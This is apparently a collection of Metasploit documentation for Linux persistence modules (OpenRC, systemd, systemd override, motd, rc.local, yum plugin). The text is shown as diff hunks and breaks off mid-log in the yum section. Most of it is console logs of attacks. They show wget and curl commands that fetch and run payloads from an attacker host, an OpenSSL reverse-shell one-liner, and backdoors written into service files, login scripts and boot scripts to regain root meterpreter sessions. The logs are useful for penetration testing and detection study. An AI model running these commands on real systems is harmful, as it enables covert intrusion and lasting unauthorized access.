### PAYLOAD_NAME
The name of the file to write with our shell if a non-cmd payload is used. If not chosen, a random one is created.
## Scenarios
### Alpine Linux 3.21.2
Of note, the default install of Alpine doesn't have `curl`, or `bash`. The `OpenSSL` payload was confirmed working though
Initial access vector via web delivery
```
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
lhost => 111.111.1.111
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
srvport => 8181
resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4545
lport => 4545
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
URIPATH => l
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Starting persistent handler(s)...
[*] Started reverse TCP handler on 111.111.1.111:4545
[*] Using URL: http://111.111.1.111:8181/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO xK7yCqmS --no-check-certificate http://111.111.1.111:8181/l; chmod +x xK7yCqmS; ./xK7yCqmS& disown
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 222.222.2.222
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:33954) at 2025-02-09 09:31:16 -0500
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...
(Meterpreter 1)(/root) > getuid
Server username: root
(Meterpreter 1)(/root) > sysinfo
Computer : alpine3.21.2
OS : (Linux 6.12.12-0-virt)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
(Meterpreter 1)(/root) > background
[*] Backgrounding session 1...
```
Persistence
```
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/init_openrc
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_openrc) > set session 1
session => 1
[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_openrc) > set payload payload/cmd/unix/reverse_openssl
payload => cmd/unix/reverse_openssl
[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_openrc) > exploit
[+] sh -c '(sleep 4296|openssl s_client -quiet -connect 111.111.1.111:4444|while : ; do sh && break; done 2>&1|openssl s_client -quiet -connect 111.111.1.111:4444 >/dev/null 2>&1 &)'
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[msf](Jobs:2 Agents:1) exploit(linux/persistence/init_openrc) >
[*] Started reverse double SSL handler on 111.111.1.111:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. /tmp/ is writable and openrc based
[*] Writing backdoor to /tmp//rljkrbglMY
[*] Writing service: /etc/init.d/GpdAgZVBGWq
[*] Writing '/etc/init.d/GpdAgZVBGWq' (141 bytes) ...
[*] Enabling service
[+] Starting service
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/alpine3.21.2_20250209.3159/alpine3.21.2_20250209.3159.rc
[*] Command: echo duVbKHsRwQ5D05J7;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "duVbKHsRwQ5D05J7\n"
[*] Matching...
[*] A is input...
[*] Command shell session 2 opened (111.111.1.111:4444 -> 222.222.2.222:43560) at 2025-02-09 09:32:07 -0500
```
@@ -0,0 +1,208 @@
## Vulnerable Application
This module will create a service on the box, and mark it for auto-restart.
We need enough access to write service files and potentially restart services
systemd should be available on the following systems:
Targets:
* CentOS 7
* Debian >= 7, <=8
* Fedora >= 15
* Ubuntu >= 15.04
Verified on Ubuntu 18.04.3
## Verification Steps
1. Exploit a box
2. `use exploit/linux/persistence/init_systemd`
3. `set SESSION <session>`
4. `set PAYLOAD <payload>`
5. `set LHOST <lhost>`
6. `exploit`
## Options
### SERVICE
The name of the service to create. If not chosen, a random one is created.
### PAYLOAD_NAME
The name of the file to write with our shell if a non-cmd payload is used. If not chosen, a random one is created.
### Target: systemd
Requires `root` permission, or equivalent. Installs the service into `/lib/systemd/system/#{service_filename}.service`
### Target: systemd user
Requires user level permission. Installs the service into `#{home}/.config/systemd/user/#{service_filename}.service`
## Scenarios
### Ubuntu 18.04
#### user
Initial access vector via web delivery
```
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
lhost => 111.111.1.111
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
srvport => 8181
resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4545
lport => 4545
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
URIPATH => l
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Starting persistent handler(s)...
[*] Started reverse TCP handler on 111.111.1.111:4545
[*] Using URL: http://111.111.1.111:8181/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO A0IMfkxw --no-check-certificate http://111.111.1.111:8181/l; chmod +x A0IMfkxw; ./A0IMfkxw& disown
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >
[*] 222.222.2.222 web_delivery - Delivering Payload (250 bytes)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 222.222.2.222
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:35670) at 2025-02-12 16:51:31 -0500
```
Persistence
```
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/init_systemd
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_systemd) > set session 1
session => 1
[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_systemd) > set target 1
target => 1
[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_systemd) > exploit
[*] Command to run on remote host: curl -so ./AfUflryvMrcV http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./AfUflryvMrcV;./AfUflryvMrcV&
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[msf](Jobs:2 Agents:1) exploit(linux/persistence/init_systemd) >
[*] Fetch handler listening on 111.111.1.111:8080
[*] HTTP server started
[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
[*] Started reverse TCP handler on 111.111.1.111:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere.
[+] The target appears to be vulnerable. /tmp/ is writable and system is systemd based
[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere.
[*] Writing backdoor to /tmp//wiyCnjJRK
[*] Creating user service directory
[*] Writing service: /home/ubuntu/.config/systemd/user/hakiMwGMnXA.service
[*] Reloading manager configuration
[*] Enabling service
[*] Starting service: hakiMwGMnXA
[*] Client 222.222.2.222 requested /Hg3DGEu9GqlWD06kh4AzFg
[*] Sending payload to 222.222.2.222 (curl/7.58.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 222.222.2.222
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/ubuntu18desktop.local_20250212.5212/ubuntu18desktop.local_20250212.5212.rc
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:58360) at 2025-02-12 16:52:13 -0500
[msf](Jobs:2 Agents:2) exploit(linux/persistence/init_systemd) > sessions -i 2
[*] Starting interaction with 2...
(Meterpreter 2)(/home/ubuntu) > sysinfo
Computer : ubuntu18desktop.local
OS : Ubuntu 18.04 (Linux 5.3.0-26-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
(Meterpreter 2)(/home/ubuntu) > getuid
Server username: ubuntu
```
#### root
Initial access vector via web delivery
```
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
lhost => 111.111.1.111
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
srvport => 8181
resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4545
lport => 4545
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
URIPATH => l
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Starting persistent handler(s)...
[*] Started reverse TCP handler on 111.111.1.111:4545
[*] Using URL: http://111.111.1.111:8181/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO Xz9l4YxP --no-check-certificate http://111.111.1.111:8181/l; chmod +x Xz9l4YxP; ./Xz9l4YxP& disown
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 222.222.2.222
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:35802) at 2025-02-12 16:54:10 -0500
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...
(Meterpreter 1)(/home/ubuntu) > getuid
Server username: root
(Meterpreter 1)(/home/ubuntu) > sysinfo
Computer : ubuntu18desktop.local
OS : Ubuntu 18.04 (Linux 5.3.0-26-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
(Meterpreter 1)(/home/ubuntu) > background
[*] Backgrounding session 1...
```
Persistence
```
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/init_systemd
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_systemd) > set session 1
session => 1
[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_systemd) > exploit
[*] Command to run on remote host: curl -so ./pCnRnSfZCFa http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./pCnRnSfZCFa;./pCnRnSfZCFa&
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[msf](Jobs:2 Agents:1) exploit(linux/persistence/init_systemd) >
[*] Fetch handler listening on 111.111.1.111:8080
[*] HTTP server started
[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
[*] Started reverse TCP handler on 111.111.1.111:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere.
[+] The target appears to be vulnerable. /tmp/ is writable and system is systemd based
[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere.
[*] Writing backdoor to /tmp//nfiWHmr
[*] Writing service: /lib/systemd/system/SBFzvKrWjH.service
[*] Enabling service
[*] Starting service
[*] Client 222.222.2.222 requested /Hg3DGEu9GqlWD06kh4AzFg
[*] Sending payload to 222.222.2.222 (curl/7.58.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 222.222.2.222
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/ubuntu18desktop.local_20250212.5514/ubuntu18desktop.local_20250212.5514.rc
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:58406) at 2025-02-12 16:55:15 -0500
```
@@ -0,0 +1,160 @@
## Vulnerable Application
This module will create an override.conf file for a SystemD service on the box.
The ExecStartPost hook is used to launch the payload after the service is started.
We need enough access (typically root) to write in the /etc/systemd/system
directory and potentially restart services.
Verified on Ubuntu 22.04
## Verification Steps
1. Exploit a box and get a shell
2. `use exploit/linux/persistence/init_systemd_override`
3. `set SESSION <id>`
4. `exploit`
## Options
### SERVICE
Which service to override. Defaults to `ssh`.
### ReloadService
If set to `true` (default), runs `systemctl restart` to restart the service.
## Scenarios
### Ubuntu 22.04
Initial (root) access
```
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
lhost => 1.1.1.1
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set srvport 8082
srvport => 8082
resource (/root/.msf4/msfconsole.rc)> set uripath l
uripath => l
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4446
lport => 4446
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4446
[*] Using URL: http://1.1.1.1:8082/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO 1k6smMWF --no-check-certificate http://1.1.1.1:8082/l; chmod +x 1k6smMWF; ./1k6smMWF& disown
msf exploit(multi/script/web_delivery) >
[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 2.2.2.2:42996) at 2025-09-11 17:18:18 -0400
msf exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : 2.2.2.2
OS : Ubuntu 22.04 (Linux 5.15.0-48-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: root
meterpreter > background
[*] Backgrounding session 1...
```
Persistence (utilizing a manual restart)
```
msf exploit(multi/script/web_delivery) > use exploit/linux/persistence/init_systemd_override
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(linux/persistence/init_systemd_override) > set session 1
session => 1
msf exploit(linux/persistence/init_systemd_override) > set ReloadService false
ReloadService => false
msf exploit(linux/persistence/init_systemd_override) > exploit
[*] Command to run on remote host: curl -so ./vYKBsdwwFTy http://1.1.1.1:8080/t70WmtC4mNeBieRpZqn09Q;chmod +x ./vYKBsdwwFTy;./vYKBsdwwFTy&
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Fetch handler listening on 1.1.1.1:8080
[*] HTTP server started
[*] Adding resource /t70WmtC4mNeBieRpZqn09Q
[*] Started reverse TCP handler on 1.1.1.1:4444
msf exploit(linux/persistence/init_systemd_override) > [*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. /tmp/ is writable and system is systemd based
[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere.
[*] Creating /etc/systemd/system/ssh.service.d
[*] Writing override file to: /etc/systemd/system/ssh.service.d/override.conf
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/2.2.2.2_20250911.1859/2.2.2.2_20250911.1859.rc
msf exploit(linux/persistence/init_systemd_override) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > shell
Process 2862 created.
Channel 6 created.
systemctl restart ssh
[*] Client 2.2.2.2 requested /t70WmtC4mNeBieRpZqn09Q
[*] Sending payload to 2.2.2.2 (curl/7.81.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 2.2.2.2
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:54688) at 2025-09-11 17:19:27 -0400
```
Evidence of compromise in systemctl
```
systemctl status ssh
* ssh.service - OpenBSD Secure Shell server
Loaded: loaded (/lib/systemd/system/ssh.service; enabled; vendor preset: enabled)
Drop-In: /etc/systemd/system/ssh.service.d
`-override.conf
Active: active (running) since Thu 2025-09-11 21:19:26 UTC; 15s ago
Docs: man:sshd(8)
man:sshd_config(5)
Process: 2864 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
Process: 2867 ExecStartPost=/bin/sh -c curl -so ./vYKBsdwwFTy http://1.1.1.1:8080/t70WmtC4mNeBieRpZqn09Q;chmod +x ./vYKBsdwwFTy;./vYKBsdwwFTy& (code=exited, status=0/SUCCESS)
Main PID: 2866 (sshd)
Tasks: 2 (limit: 3444)
Memory: 5.7M
CPU: 125ms
CGroup: /system.slice/ssh.service
|-2866 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
`-2870 ./vYKBsdwwFTy
Sep 11 21:19:26 ubuntu2204 systemd[1]: Starting OpenBSD Secure Shell server...
Sep 11 21:19:26 ubuntu2204 sshd[2866]: Server listening on 0.0.0.0 port 22.
Sep 11 21:19:26 ubuntu2204 sshd[2866]: Server listening on :: port 22.
Sep 11 21:19:26 ubuntu2204 systemd[1]: Started OpenBSD Secure Shell server.
```
Cleanup
```
meterpreter > run /root/.msf4/logs/persistence/2.2.2.2_20250911.1859/2.2.2.2_20250911.1859.rc
[*] Processing /root/.msf4/logs/persistence/2.2.2.2_20250911.1859/2.2.2.2_20250911.1859.rc for ERB directives.
resource (/root/.msf4/logs/persistence/2.2.2.2_20250911.1859/2.2.2.2_20250911.1859.rc)> rm /etc/systemd/system/ssh.service.d/override.conf
resource (/root/.msf4/logs/persistence/2.2.2.2_20250911.1859/2.2.2.2_20250911.1859.rc)> execute -f /bin/systemctl -a "daemon-reload"
Process 2914 created.
resource (/root/.msf4/logs/persistence/2.2.2.2_20250911.1859/2.2.2.2_20250911.1859.rc)> execute -f /bin/systemctl -a "restart ssh.service"
Process 2915 created.
```
@@ -0,0 +1,126 @@
## Vulnerable Application
This is a post module that performs a persistence installation on a Linux system using [motd](https://manpages.debian.org/bookworm/manpages/motd.5.en.html).
To trigger the persistence execution, an external event such as a user logging in to the system with SSH is required.
## Verification Steps
1. Start msfconsole
2. Obtain a session on the target machine
3. `use exploit/linux/persistence/motd`
4. `set session [session]`
5. `exploit`
## Options
### BACKDOOR_NAME
Specify the name of the file to insert in the motd directory. Defaults to `99-check-updates`
### PAYLOAD_NAME
Name of the payload file if a `cmd` payload is not used. Defaults to a random name
## Scenarios
### Ubuntu 18.04.3
Initial access vector via web delivery
```
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
lhost => 111.111.1.111
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
srvport => 8181
resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4545
lport => 4545
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
URIPATH => l
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Starting persistent handler(s)...
[*] Started reverse TCP handler on 111.111.1.111:4545
[*] Using URL: http://111.111.1.111:8181/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO oQN8BXNV --no-check-certificate http://111.111.1.111:8181/l; chmod +x oQN8BXNV; ./oQN8BXNV& disown
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 222.222.2.222
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:42870) at 2025-02-07 15:40:34 -0500
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...
(Meterpreter 1)(/tmp) > getuid
Server username: root
(Meterpreter 1)(/tmp) > sysinfo
Computer : ubuntu18desktop.local
OS : Ubuntu 18.04 (Linux 5.4.0-150-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
(Meterpreter 1)(/tmp) > background
[*] Backgrounding session 1...
```
Persistence
```
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/motd
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
[msf](Jobs:1 Agents:1) exploit(linux/persistence/motd) > exploit
[-] Msf::OptionValidateError One or more options failed to validate: SESSION.
[msf](Jobs:1 Agents:1) exploit(linux/persistence/motd) > set session 1
session => 1
[msf](Jobs:1 Agents:1) exploit(linux/persistence/motd) > exploit
[*] Command to run on remote host: curl -so ./rpNzsXNVDsZ http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./rpNzsXNVDsZ;./rpNzsXNVDsZ&
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[msf](Jobs:2 Agents:1) exploit(linux/persistence/motd) >
[*] Fetch handler listening on 111.111.1.111:8080
[*] HTTP server started
[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
[*] Started reverse TCP handler on 111.111.1.111:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. /etc/update-motd.d/ is writable
[*] /etc/update-motd.d/99-check-updates written
[+] Payload will be triggered at user login
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/ubuntu18desktop.local_20250207.4101/ubuntu18desktop.local_20250207.4101.rc
[*] Client 222.222.2.222 requested /Hg3DGEu9GqlWD06kh4AzFg
[*] Sending payload to 222.222.2.222 (curl/7.58.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 222.222.2.222
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:48696) at 2025-02-07 15:41:26 -0500
[msf](Jobs:2 Agents:2) exploit(linux/persistence/motd) > sessions -i 2
[*] Starting interaction with 2...
(Meterpreter 2)(/) > getuid
Server username: root
```
### Ubuntu 22.04
```
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > use exploit/linux/local/motd_persistence
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/motd_persistence) > set session -1
session => -1
msf6 exploit(linux/local/motd_persistence) > exploit
[*] /etc/update-motd.d/99-check-updates written
msf6 exploit(linux/local/motd_persistence) >
[*] Sending stage (3045380 bytes) to 172.18.49.39
[*] Meterpreter session 2 opened (172.18.52.45:4444 -> 172.18.49.39:41848) at 2024-09-13 03:59:47 -0400
msf6 exploit(linux/local/motd_persistence) > sessions -i -1
[*] Starting interaction with 2...
meterpreter > getuid
Server username: root
meterpreter >
```
@@ -0,0 +1,124 @@
## Vulnerable Application
This module will edit `/etc/rc.local` in order to persist a payload.
The payload will be executed on the next reboot.
Verified on Ubuntu 18.04.3
### Verification
1. Exploit a box and get a **root** session
2. `use exploit/linux/persistence/rc_local`
3. `set SESSION <session>`
4. `set PAYLOAD <payload>`
5. `set LHOST <lhost>`
6. `exploit`
## Options
### PAYLOAD_NAME
Name of the payload file if a `cmd` payload is not used. Defaults to a random name
## Scenarios
### Ubuntu 18.04.3
Initial access vector via web delivery
```
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
lhost => 111.111.1.111
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
srvport => 8181
resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4545
lport => 4545
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
URIPATH => l
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Starting persistent handler(s)...
[*] Started reverse TCP handler on 111.111.1.111:4545
[*] Using URL: http://111.111.1.111:8181/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO zLeqpMSF --no-check-certificate http://111.111.1.111:8181/l; chmod +x zLeqpMSF; ./zLeqpMSF& disown
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 222.222.2.222
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:48462) at 2025-02-09 06:54:32 -0500
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...
(Meterpreter 1)(/home/ubuntu) > getuid
Server username: root
(Meterpreter 1)(/home/ubuntu) > sysinfo
Computer : ubuntu18desktop.local
OS : Ubuntu 18.04 (Linux 5.4.0-150-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
(Meterpreter 1)(/home/ubuntu) > background
[*] Backgrounding session 1...
```
Persistence
```
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/rc_local
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
[msf](Jobs:1 Agents:1) exploit(linux/persistence/rc_local) > set session 1
session => 1
[msf](Jobs:1 Agents:1) exploit(linux/persistence/rc_local) > set WritableDir /home/ubuntu/
WritableDir => /home/ubuntu/
[msf](Jobs:1 Agents:1) exploit(linux/persistence/rc_local) > exploit
[*] Command to run on remote host: curl -so ./GvwBrOrMxFD http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./GvwBrOrMxFD;./GvwBrOrMxFD&
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[msf](Jobs:2 Agents:1) exploit(linux/persistence/rc_local) >
[*] Fetch handler listening on 111.111.1.111:8080
[*] HTTP server started
[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
[*] Started reverse TCP handler on 111.111.1.111:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. /etc/rc.local is writable
[*] Reading /etc/rc.local
[*] Created /etc/rc.local backup: /root/.msf4/loot/20250209065535_default_222.222.2.222_rc.local_367870.txt
[*] Patching /etc/rc.local
[+] Payload will be triggered at next reboot
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/ubuntu18desktop.local_20250209.5536/ubuntu18desktop.local_20250209.5536.rc
```
Reboot host
```
[msf](Jobs:2 Agents:1) exploit(linux/persistence/rc_local) > sessions -i 1
[*] Starting interaction with 1...
(Meterpreter 1)(/home/ubuntu) > shell
Process 2052 created.
Channel 4 created.
reboot
[*] 222.222.2.222 - Meterpreter session 1 closed. Reason: Died
Terminate channel 4? [y/N] y
[-] Send timed out. Timeout currently 15 seconds, you can configure this with sessions --interact <id> --timeout <value>
[msf](Jobs:2 Agents:0) exploit(linux/persistence/rc_local) >
[*] Client 222.222.2.222 requested /Hg3DGEu9GqlWD06kh4AzFg
[*] Sending payload to 222.222.2.222 (curl/7.58.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 222.222.2.222
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:36260) at 2025-02-09 06:56:39 -0500
[msf](Jobs:2 Agents:1) exploit(linux/persistence/rc_local) > sessions -i 2
[*] Starting interaction with 2...
(Meterpreter 2)(/) > getuid
Server username: root
(Meterpreter 2)(/) >
```
@@ -0,0 +1,112 @@
## Description
This module will run a payload when the package manager is used.
This module modifies a yum plugin to launch a binary of choice.
`grep -F 'enabled=1' /etc/yum/pluginconf.d/`
will show what plugins are currently enabled on the system.
root persmissions are likely required.
Verified on Centos 7.1
## Verification Steps
1. Exploit a box that uses Yum
2. `use exploit/linux/persistence/yum_package_manager`
3. `set SESSION <id>`
4. `set PAYLOAD cmd/unix/reverse_python` configure the payload as needed
5. `exploit`
When the system runs yum update the payload will launch. You must set handler accordingly.
## Options
### PAYLOAD_NAME
Name of backdoor executable
### PLUGIN
Name of the yum plugin to target
### PluginPath
Plugin path to use default is (`/usr/lib/yum-plugins/`)
## Scenarios
### Tested on Centos 7.1
Initial access vector via web delivery
```
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
lhost => 111.111.1.111
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
srvport => 8181
